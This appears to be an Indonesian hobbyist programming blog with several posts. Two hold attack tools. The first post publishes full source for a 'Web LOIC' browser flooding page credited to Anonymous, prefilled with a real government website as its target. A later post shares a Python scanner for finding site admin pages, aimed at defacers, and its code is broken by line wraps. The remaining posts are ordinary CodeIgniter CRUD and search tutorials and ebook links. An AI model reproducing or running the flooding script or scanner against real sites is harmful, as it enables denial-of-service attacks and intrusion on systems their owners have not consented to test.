0 Source Cod3 Web LOIC Anonymous




Kembali lagi bersama saya, =-- darkcry --=, kali ini saya mo share script web LOIC yang sering dijadikan senjata oleh anonymous untuk melakukan aksinya...
gak pake panjang lebar, mari kita simak aja.... (udah kaya di acara tipi aja)...
scriptnya da saya utak-atik dikit.. cuman ganti nama doang ko.... biar seru.. maklum scriptkiddie..
bruakwkakwkak.............



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>

<script>alert("- #Darkcry - We are Anonymous - We are Legion - We do not Forgive - We do not Forget - Eexpect us -") </script>
<title>OpMegaupload - Hack4You.eu</title>
<script language="JavaScript" type="text/javascript">
var txt=" - Web LOIC anonymous - ";
    var refresco=null;
        function titulo() {
    document.title=txt;
 txt=txt.substring(1,txt.length)+txt.charAt(0); 
    refresco=setTimeout("titulo()",90);}
 titulo();
</script>

<STYLE type="text/css">
body {background-color : black; color: white; text-align: center; width: 550px; margin: auto;}
 </STYLE>

</head>

<body>

<br /><br />
<script type="text/javascript">
    function setAttributeOnload(object, attribute, val) {
      if(window.addEventListener) {
        window.addEventListener("load",
          function(){ object[attribute] = val; }, false);
      } else {
        window.attachEvent('onload', function(){ object[attribute] = val; });
      }
    }
</script>

<div align="center">

<br />
<h1>DO NOT USE TOR !</h1>
<h2>By using TOR, you hit the Tor exit node, not the target! Do not use it !</h2>
<h1>Anonymous</h1>
<h1>Scriptkiddie Join Anonymouse<br/></h1>
<a href="https://www.facebook.com/melcior.s.boavida">Click for more info about Darkcry Scripkiddie</a>
<br /><br />
</div>

        <div align="center">
          <fieldset style="width: 100%; height: 100%;">
            <legend><span class="Estilo3"><strong>Step 1. Select Target: </strong></span></legend>
        <div align="center">URL:</div>
        </label>
        </strong></span>

        <div align="center"><br />
              <input name="Our target" id="targetURL" style="width: 100%;" value="http://www.iprcenter.gov/"/>
           </div>
        </fieldset>

  <div align="center">
    <fieldset style="width: 100%; height: 100%;">
      <legend><span class="Estilo3"><strong>Step 2. AIM YOUR CANNONS!</strong></span></legend>
      <button id="fireButton" style="background-color:red; border-color: rgb(255, 255, 255); width: 240px; height: 100px;"> <h1>Fire !</h1> </button>
      </fieldset>

  </div>

         <div align="center">

           <fieldset style="width: 100%; height: 100%;">
              <legend><span class="Estilo3">Optional. Attack Options </span></legend>

         <div align="center">Requests per second:</div>
         <label> 
         <div align="center">
           <input style="width: 40px;" id="rps" value="100" />
         </div>
         </label>
 
         <label>
         <div align="center"><span class="Estilo3"><strong>Message:</strong></span><br />
             <input id="message" style="width: 100%;" value="We Are Legion ! Expect us !" />
         </div>
         </label>
    </fieldset>

           <div align="center">
             <fieldset style="width: 100%; height: 100%;">
                        <legend><span class="Estilo3">Attack status:</span></legend>
               <dl>
                        <dt><strong>Request:</strong></dt>
                 <dd class="Estilo2" id="requestedCtr">0</dd>
                 <dt><strong>Achieved:</strong></dt>
                 <dd class="Estilo3" id="succeededCtr">0</dd>
                 <dt><strong>Failed:</strong></dt>
                 <dd class="Estilo2" id="failedCtr">0</dd>
               </dl>
               </fieldset>
           </div>
         </div>

<div align="center">
  <script>
        (function () {
            var fireInterval;
            var isFiring = false;
            var currentTime = new Date()
            var lastSuccess = currentTime.getTime();
 
            var requestedCtrNode = document.getElementById("requestedCtr"),
                succeededCtrNode = document.getElementById("succeededCtr"),
                failedCtrNode = document.getElementById("failedCtr"),
                targetURLNode = document.getElementById("targetURL"),
                fireButton = document.getElementById("fireButton"),
                messageNode = document.getElementById("message"),
                rpsNode = document.getElementById("rps"),
                timeoutNode = document.getElementById("timeout");

            var targetURL = targetURLNode.value;
targetURLNode.onchange = function () {
targetURL = this.value;
};

            var requestsHT = {}; // requests hash table, may come in handy later

            var requestedCtr = 0,
                succeededCtr = 0,
                failedCtr = 0;

            var makeHttpRequest = function () {
                                        if ( (currentTime.getTime()-lastSuccess) > 10000) { //Allow no more than 1000 hung requests
                                                return;
                                        } else { lastSuccess = currentTime.getTime();};

                    var rID =Number(new Date());
                    var img = new Image();
                    img.onerror = function () { onFail(rID); };
                    img.onabort = function () { onFail(rID); };
                    img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
                    img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
                    requestsHT[rID] = img;
                    onRequest(rID);
                };

            var onRequest = function (rID) {
                    requestedCtr++;
                    requestedCtrNode.innerHTML = requestedCtr;
                };
            var onComplete = function (rID) {
                    delete requestsHT[rID];
                };

            var onFail = function (rID) {

                    failedCtr++;
                    failedCtrNode.innerHTML = failedCtr;
                    succeededCtr++; //Seems like the url will always fail it it isn't an image
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser

                };

            var onSuccess = function (rID) {
                    succeededCtr++;
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID];
                };

            fireButton.onclick = function () {
                if (isFiring) {
                    clearInterval(fireInterval);
                    isFiring = false;
                    this.innerHTML = "Fire Again!";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop Shooting!";
                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };
                        function FireIbero() {
                if (isFiring) {
                    clearInterval(fireInterval);
                    isFiring = false;
                    this.innerHTML = "Shoot Again!";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop flooding";
                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };         })();
    </script>
</div>

</body>
</html>
›—‑»


8 CONTOH APLIKASI CRUD (Codeigniter)





hallo semua kali ini saya mo share... contoh aplikasi crud menggunakan codeigniter...
ok... mari kita belajar bersama.. karena saya juga baru dalam dunia CI... ini hanya sebagai dokumentasi saja....

fitur yang ada pada aplikasi sederhana ini yakni..:
  1. Edit, Hapus, View
  2. Input Data
  3. pagination

Mari kita mulai...
untuk setinggan CI saya anggap semua sudah bisa... klo blom silakan cari di google...

Membuat file controller : person.php



<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');


class Person extends CI_Controller {


// num of records per page
private $limit = 10;

function __construct()
{
parent::__construct();

// load library
$this->load->library(array('table','form_validation'));

// load helper
$this->load->helper('url');

// load model
$this->load->model('Person_model','',TRUE);
}

function index($offset = 0)
{
// offset
$uri_segment = 3;
$offset = $this->uri->segment($uri_segment);

// load data
$persons = $this->Person_model->get_paged_list($this->limit, $offset)->result();

// generate pagination
$this->load->library('pagination');
$config['base_url'] = site_url('person/index/');
  $config['total_rows'] = $this->Person_model->count_all();
  $config['per_page'] = $this->limit;
$config['uri_segment'] = $uri_segment;
$this->pagination->initialize($config);
$data['pagination'] = $this->pagination->create_links();

// generate table data
$this->load->library('table');
$this->table->set_empty("&nbsp;");
$this->table->set_heading('No', 'Nama', 'Jenis Kelamin', 'Tanggal Lahir (dd-mm-yyyy)', 'Actions');
$i = 0 + $offset;
foreach ($persons as $person)
{
$this->table->add_row(++$i, $person->name, strtoupper($person->gender)=='M'? 'Pria':'Perempuan', date('d-m-Y',strtotime($person->dob)), 
anchor('person/view/'.$person->id,'view',array('class'=>'view')).' '.
anchor('person/update/'.$person->id,'update',array('class'=>'update')).' '.
anchor('person/delete/'.$person->id,'delete',array('class'=>'delete','onclick'=>"return confirm('Are you sure want to delete this person?')"))
);
}
$data['table'] = $this->table->generate();

// load view
$this->load->view('personList', $data);
}

function add()
{
// set empty default form field values
$this->_set_fields();
// set validation properties
$this->_set_rules();

// set common properties
$data['title'] = 'Add new person';
$data['message'] = '';
$data['action'] = site_url('person/addPerson');
$data['link_back'] = anchor('person/index/','Back to list of persons',array('class'=>'back'));

// load view
$this->load->view('personEdit', $data);
}

function addPerson()
{
// set common properties
$data['title'] = 'Add new person';
$data['action'] = site_url('person/addPerson');
$data['link_back'] = anchor('person/index/','Back to list of persons',array('class'=>'back'));

// set empty default form field values
$this->_set_fields();
// set validation properties
$this->_set_rules();

// run validation
if ($this->form_validation->run() == FALSE)
{
$data['message'] = '';
}
else
{
// save data
$person = array('name' => $this->input->post('name'),
'gender' => $this->input->post('gender'),
'dob' => date('Y-m-d', strtotime($this->input->post('dob'))));
$id = $this->Person_model->save($person);

// set user message
$data['message'] = '<div class="success">add new person success</div>';
}

// load view
$this->load->view('personEdit', $data);
}

function view($id)
{
// set common properties
$data['title'] = 'Person Details';
$data['link_back'] = anchor('person/index/','Back to list of persons',array('class'=>'back'));

// get person details
$data['person'] = $this->Person_model->get_by_id($id)->row();

// load view
$this->load->view('personView', $data);
}

function update($id)
{
// set validation properties
$this->_set_rules();

// prefill form values
$person = $this->Person_model->get_by_id($id)->row();
$this->form_data->id = $id;
$this->form_data->name = $person->name;
$this->form_data->gender = strtoupper($person->gender);
$this->form_data->dob = date('d-m-Y',strtotime($person->dob));

// set common properties
$data['title'] = 'Update person';
$data['message'] = '';
$data['action'] = site_url('person/updatePerson');
$data['link_back'] = anchor('person/index/','Back to list of persons',array('class'=>'back'));

// load view
$this->load->view('personEdit', $data);
}

function updatePerson()
{
// set common properties
$data['title'] = 'Update person';
$data['action'] = site_url('person/updatePerson');
$data['link_back'] = anchor('person/index/','Back to list of persons',array('class'=>'back'));

// set empty default form field values
$this->_set_fields();
// set validation properties
$this->_set_rules();

// run validation
if ($this->form_validation->run() == FALSE)
{
$data['message'] = '';
}
else
{
// save data
$id = $this->input->post('id');
$person = array('name' => $this->input->post('name'),
'gender' => $this->input->post('gender'),
'dob' => date('Y-m-d', strtotime($this->input->post('dob'))));
$this->Person_model->update($id,$person);

// set user message
$data['message'] = '<div class="success">update person success</div>';
}

// load view
$this->load->view('personEdit', $data);
}

function delete($id)
{
// delete person
$this->Person_model->delete($id);

// redirect to person list page
redirect('person/index/','refresh');
}

// set empty default form field values
function _set_fields()
{
$this->form_data->id = '';
$this->form_data->name = '';
$this->form_data->gender = '';
$this->form_data->dob = '';
}

// validation rules
function _set_rules()
{
$this->form_validation->set_rules('name', 'Name', 'trim|required');
$this->form_validation->set_rules('gender', 'Gender', 'trim|required');
$this->form_validation->set_rules('dob', 'DoB', 'trim|required|callback_valid_date');

$this->form_validation->set_message('required', '* required');
$this->form_validation->set_message('isset', '* required');
$this->form_validation->set_message('valid_date', 'date format is not valid. dd-mm-yyyy');
$this->form_validation->set_error_delimiters('<p class="error">', '</p>');
}

// date_validation callback
function valid_date($str)
{
//match the format of the date
if (preg_match ("/^([0-9]{2})-([0-9]{2})-([0-9]{4})$/", $str, $parts))
{
//check weather the date is valid of not
if(checkdate($parts[2],$parts[1],$parts[3]))
return true;
else
return false;
}
else
return false;
}
}
?>


Membuat 3 File view : personView.php, personList dan personEdit


1. PersonView.php



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<title>CONTOH APLIKASI CRUD</title>

<link href="<?php echo base_url(); ?>res/css/style.css" rel="stylesheet" type="text/css" />

</head>
<body>
<div class="content">
<h1><?php echo $title; ?></h1>
<div class="data">
<table>
<tr>
<td width="30%">ID</td>
<td><?php echo $person->id; ?></td>
</tr>
<tr>
<td valign="top">Name</td>
<td><?php echo $person->name; ?></td>
</tr>
<tr>
<td valign="top">Gender</td>
<td><?php echo strtoupper($person->gender)=='M'? 'Male':'Female' ; ?></td>
</tr>
<tr>
<td valign="top">Date of birth (dd-mm-yyyy)</td>
<td><?php echo date('d-m-Y',strtotime($person->dob)); ?></td>
</tr>
</table>
</div>
<br />
<?php echo $link_back; ?>
</div>
</body>
</html>

2. PersonList.php


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />


<title>CONTOH APLIKASI CRUD</title>


<link href="<?php echo base_url(); ?>res/css/style.css" rel="stylesheet" type="text/css" />


</head>
<body>
<div class="content">
<h1>CONTOH APLIKASI CRUD</h1>
<div class="paging"><?php echo $pagination; ?></div>
<div class="data"><?php echo $table; ?></div>
<br />
<?php echo anchor('person/add/','add new data',array('class'=>'add')); ?>
</div>
</body>
</html>


3. personEdit.php



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />


<title>CONTOH APLIKASI CRUD</title>


<link href="<?php echo base_url(); ?>res/css/style.css" rel="stylesheet" type="text/css" />


<link href="<?php echo base_url(); ?>res/css/calendar.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="<?php echo base_url(); ?>res/js/calendar.js"></script>


</head>
<body>
<div class="content">
<h1><?php echo $title; ?></h1>
<?php echo $message; ?>
<form method="post" action="<?php echo $action; ?>">
<div class="data">
<table>
<tr>
<td width="30%">ID</td>
<td><input type="text" name="id" disabled="disable" class="text" value="<?php echo set_value('id'); ?>"/></td>
<input type="hidden" name="id" value="<?php echo set_value('id',$this->form_data->id); ?>"/>
</tr>
<tr>
<td valign="top">Name<span style="color:red;">*</span></td>
<td><input type="text" name="name" class="text" value="<?php echo set_value('name',$this->form_data->name); ?>"/>
<?php echo form_error('name'); ?>
</td>
</tr>
<tr>
<td valign="top">Gender<span style="color:red;">*</span></td>
<td><input type="radio" name="gender" value="M" <?php echo set_radio('gender', 'M', $this->form_data->gender == 'M'); ?>/> M
<input type="radio" name="gender" value="F" <?php echo set_radio('gender', 'F', $this->form_data->gender == 'F'); ?>/> F
<?php echo form_error('gender'); ?>
</td>
</tr>
<tr>
<td valign="top">Date of birth (dd-mm-yyyy)<span style="color:red;">*</span></td>
<td><input type="text" name="dob" onclick="displayDatePicker('dob');" class="text" value="<?php echo set_value('dob',$this->form_data->dob); ?>"/>
<a href="javascript:void(0);" onclick="displayDatePicker('dob');"><img src="<?php echo base_url(); ?>res/css/images/calendar.png" alt="calendar" border="0"></a>
<?php echo form_error('dob'); ?></td>
</td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type="submit" value="Save"/></td>
</tr>
</table>
</div>
</form>
<br />
<?php echo $link_back; ?>
</div>
</body>
</html>




Yang Terakhir kita membuat file Model : person_model.php



<?php
class Person_model extends CI_Model {
private $tbl_person= 'tbl_person';
function __construct(){
parent::__construct();
}
function list_all(){
$this->db->order_by('id','asc');
return $this->db->get($tbl_person);
}
function count_all(){
return $this->db->count_all($this->tbl_person);
}
function get_paged_list($limit = 10, $offset = 0){
$this->db->order_by('id','asc');
return $this->db->get($this->tbl_person, $limit, $offset);
}
function get_by_id($id){
$this->db->where('id', $id);
return $this->db->get($this->tbl_person);
}
function save($person){
$this->db->insert($this->tbl_person, $person);
return $this->db->insert_id();
}
function update($id, $person){
$this->db->where('id', $id);
$this->db->update($this->tbl_person, $person);
}
function delete($id){
$this->db->where('id', $id);
$this->db->delete($this->tbl_person);
}
}
?>

Selesai... selamat mencoba.... !!

download soarce... Download Disini


hasilnya seperti ini...










›—‑»


0 Source Code JQuery




Hallo semua, senang bisa posting lagi.., bruakwkwkkw...
lagi mencari inspirasi buat nulis di blog kesayangan ane ini.. tapi gak dapat-dapat... akhirnya saya putuskan untu share materi aja... materi kita kali ini adalah JQuery.. klo yang blom tau jquery itu apa.. silakan tanya uncle GOOGLE aja ya...
Ok deh langsung aja, download plugin jquery yang kren-kren ini.. dijamin gak bakalan nyesal deh.....
Keep share, keep learning and keep smart. all...
silakan Download disini !

jangan lupa follow blog ane ya...

›—‑»


3 Materi Belajar PHP





Kali ini saya mau share ebook materi php, materi saya kali ini bisa dibilang cukup lengkap,
lumayanlah buat belajar buat pemula atau tingkat menengah dalam dunia php..
Dari pada harus mengeluarkan dana buat beli buku... kan lumayan duitnya bisa simpan buat makan.
Maklum anak kos...

langsung aja... silakan di download.
Disini Tempatnya.. !

kalau berguna, jangan lupa tinggalkan komentar ya...
›—‑»


1 Admin Finder



Dalam aktifitas Hacking pada defacer tidak terlepas dari pencarian halaman admin, nah kali ini saya mau share script python yang bisa membantu dalam pencarian halaman admin. (saya coba di linux Backtrack).
ni Scriptnya... :


#/usr/bin/python
import sys, os, time, httplib
if sys.platform == 'linux' or sys.platform == 'blackbuntu':
clearing = 'clear'
else:
clearing = 'cls'
os.system(clearing)
if len(sys.argv) != 2:
print "\n|-------------------------------------------------------------|"
print "|               Admin login finder                        |"
print "|               author: zer03s!!!                          |"
print "|---------------------------------------------------------------|\n"
sys.exit(1)
for arg in sys.argv:
if arg == '-h':
print "\n|-----------------------------------------------------------------------------|"
print "|                Admin login finder                                       |"
print "|        Usage: admin-find.py www.site.com                      |"
print "|         Example: admin-find.py site.com                           |"
print "|-------------------------------------------------------------------------------|\n"
sys.exit(1)
site = sys.argv[1].replace("http://","").rsplit("/",1)[0]
site = site.lower()
admin_path = ['admin.php','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administ
racion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/ac
c
ount.php','joomla/administrator','login.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.ht
ml','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','adm
i
n_area/login.html','admin_area/index.html','admin/controlpanel.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html'
,
'adminpanel.html','webadmin.html','w  ebadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','pa
n
el-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php',
'
admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin
/
admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','modelsearch/login.php','moder
a
tor.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','contro
l
panel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html'
,'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderato
r
.htm  l','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','m  odelsea
r
ch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.h
t
ml','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpane  l.h
t
ml','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','adminarea/index.php','adm
i
narea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.p
h
p','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php',  'admin2/login.php','admin2/index.php','adm/index.php','adm.php',
'
affiliate.php','adm_auth.php  ','memberadmin.php','administratorlogin.php']
print "\n|-------------------------------------------------------------|"
print "|  contact me : zer03s[at]hackermail[dot]com  |"
print "|----------------------------------------------------------------|\n"
print "\n[-] %s" % time.strftime("%X")
      print "[+] Target:",site
print "[+] Checking paths..."
print
try:
for admin in admin_path:
admin = admin.replace("\n","")
admin = "/" + admin
connection = httplib.HTTPConnection(site)
connection.request("GET",admin)
response = connection.getresponse()
print "%s %s %s" % (admin, response.status, response.reason)
except(KeyboardInterrupt,SystemExit):
raise
except:
pass





›—‑»


11 Searching Sederhana Dengan Codeigniter





Pagi ini, saya mau posting sedikit tutorial, bagaimana kita membuat sistem searching sederhana menggunakan framework codeigniter. Dalam aplikasi sistem searching akan sangat membantu pengguna dalam mencari data dengan cepat sesuai dengan key word yang diinputkan. (kalau datanya banyak, biar gak pusing) :).

langsung aja ke tutorialnya ya...!
Pertama-Tama siapkan dulu peralatannya :
  1. Framework Codeigniter, anda bisa langsung download saja dari situs resminya http://codeigniter.com/
  2. extrak terus letakkan di local server anda biasanya di folder www atau htdocs.
  3. setting codeigniternya :  saya asumsikan codeigniternya di rename dengan nama "latihan".
langkah 1 : buat dulu database (terserah kamu mau dikasi nama apa dbnya) disini saya pake nama : "belajar".

langkah 2 : buat tabel pegawai sebagai berikut : 

-- phpMyAdmin SQL Dump
-- version 3.2.4
-- http://www.phpmyadmin.net
--
-- Host: localhost
-- Generation Time: Jun 06, 2012 at 08:36 PM
-- Server version: 5.1.41
-- PHP Version: 5.3.1

SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;

--
-- Database: `belajar`
--

-- --------------------------------------------------------

--
-- Table structure for table `pegawai`
--

CREATE TABLE IF NOT EXISTS `pegawai` (
  `id` int(3) NOT NULL AUTO_INCREMENT,
  `nip` varchar(12) NOT NULL,
  `nama` varchar(20) NOT NULL,
  `ttl` date NOT NULL,
  `almt` varchar(20) NOT NULL,
  `hp` int(15) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `nip` (`nip`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=22 ;

--
-- Dumping data for table `pegawai`
--

INSERT INTO `pegawai` (`id`, `nip`, `nama`, `ttl`, `almt`, `hp`) VALUES
(1, '23108081', 'Darkcry', '1994-09-08', 'Kupang', 2147483647),
(2, '23108082', 'mikael', '2012-06-27', 'manggarai', 2147483647),
(3, '23108123', 'victor boi mau', '2012-06-26', 'soe', 2147483647),
(4, '23108125', 'Yohana lamawuran', '2012-06-11', 'adonara', 2147483647),
(5, '23108234', 'Yaners kali', '2012-06-25', 'oesau', 2147483647),
(6, '23108231', 'mey uran', '2012-06-11', 'manggarai', 2147483647);

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;



langkah 3 : buat file tampil.php yang ditempatkan di view : 


<center>
<h2>Contoh Tabel Data</h2>
<table>
<tabel border=2 >
<tr>
<td>ID</td>
<td>NIP</td>
<td>Nama</td>
<td>TTL</td>
<td>ALAMAT</td>
<td>HP</td>
</tr>

<?php foreach($tampil as $row) : ?>

<tr>
<td> <?php print $row->id; ?> </td>
<td> <?php print $row->nip; ?> </td>
<td> <?php print $row->nama; ?> </td>
<td> <?php print $row->ttl; ?> </td>
<td> <?php print $row->almt; ?> </td>
<td> <?php print $row->hp; ?> </td>
</tr>
<?php endforeach; ?>
</table>

<br>
<?php print 'input nama : ';?>
<br>
<form action="<?php print site_url();?>/welcome/cari" method=POST>
<input type=text name=cari> <input type=submit value="cari">
</form>

<a href="<?php print site_url();?>/welcome"> <b>tampilkan semua</b></a>

langkah 4 : buat file welcome.php yang di tempatkan di controller : 

<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');


class Welcome extends CI_Controller{
 function __construct(){
  parent::__construct();
  
  $this->load->model('m_welcome');
  $this->load->helper('html');
  $this->load->library('table'); 
 }
    function index() {
        $data['tampil'] = $this->m_welcome->tampil();
        $this->load->view('tampil',$data);
    }
    function cari() {
       $data['tampil']=$this->m_welcome->caridata();
       //jika data yang dicari tidak ada maka akan keluar informasi 
       //bahwa data yang dicari tidak ada
       if($data['tampil']==null) {
          print 'maaf data yang anda cari tidak ada atau keywordnya salah';
          print br(2);
          print anchor('welcome','kembali');
          }
          else {
             $this->load->view('tampil',$data); 

}
}
}

/* End of file welcome.php */
/* Location: ./application/controllers/welcome.php */

langkah 5 : Buat file m_welcome.php yang di letakan di folder model :

<?php
class M_welcome extends CI_Model{
 function __construct(){
  parent::__construct();
 }
 function tampil(){
//$this->db->from('mahasiswa');
$query = $this->db->get('pegawai');
return $query->result(); 
 }
 function caridata(){
$c = $this->input->POST ('cari');
$this->db->like('nama', $c);
$query = $this->db->get ('pegawai');
return $query->result(); 
 }
 }

›—‑»


0 Ebook PHP Tutorial





Bagi yang lagi belajar php, mungkin ebook ni berguna..
ebook dengan judul "Proyek Membangun CMS Tampa OOP" akan menjelaskan dari awal bagaimana kita membangun web dengan bahasa pemrograman php.
semoga ebook ini berguna bagi teman-teman yang lagi mendalami dunia programming php.
silakan download Disini Bro !


›—‑»


 

Categories

Recent Comments

Popular Posts

Copyright © 2012 | Darkcry Converted into Blogger Template by Blizbox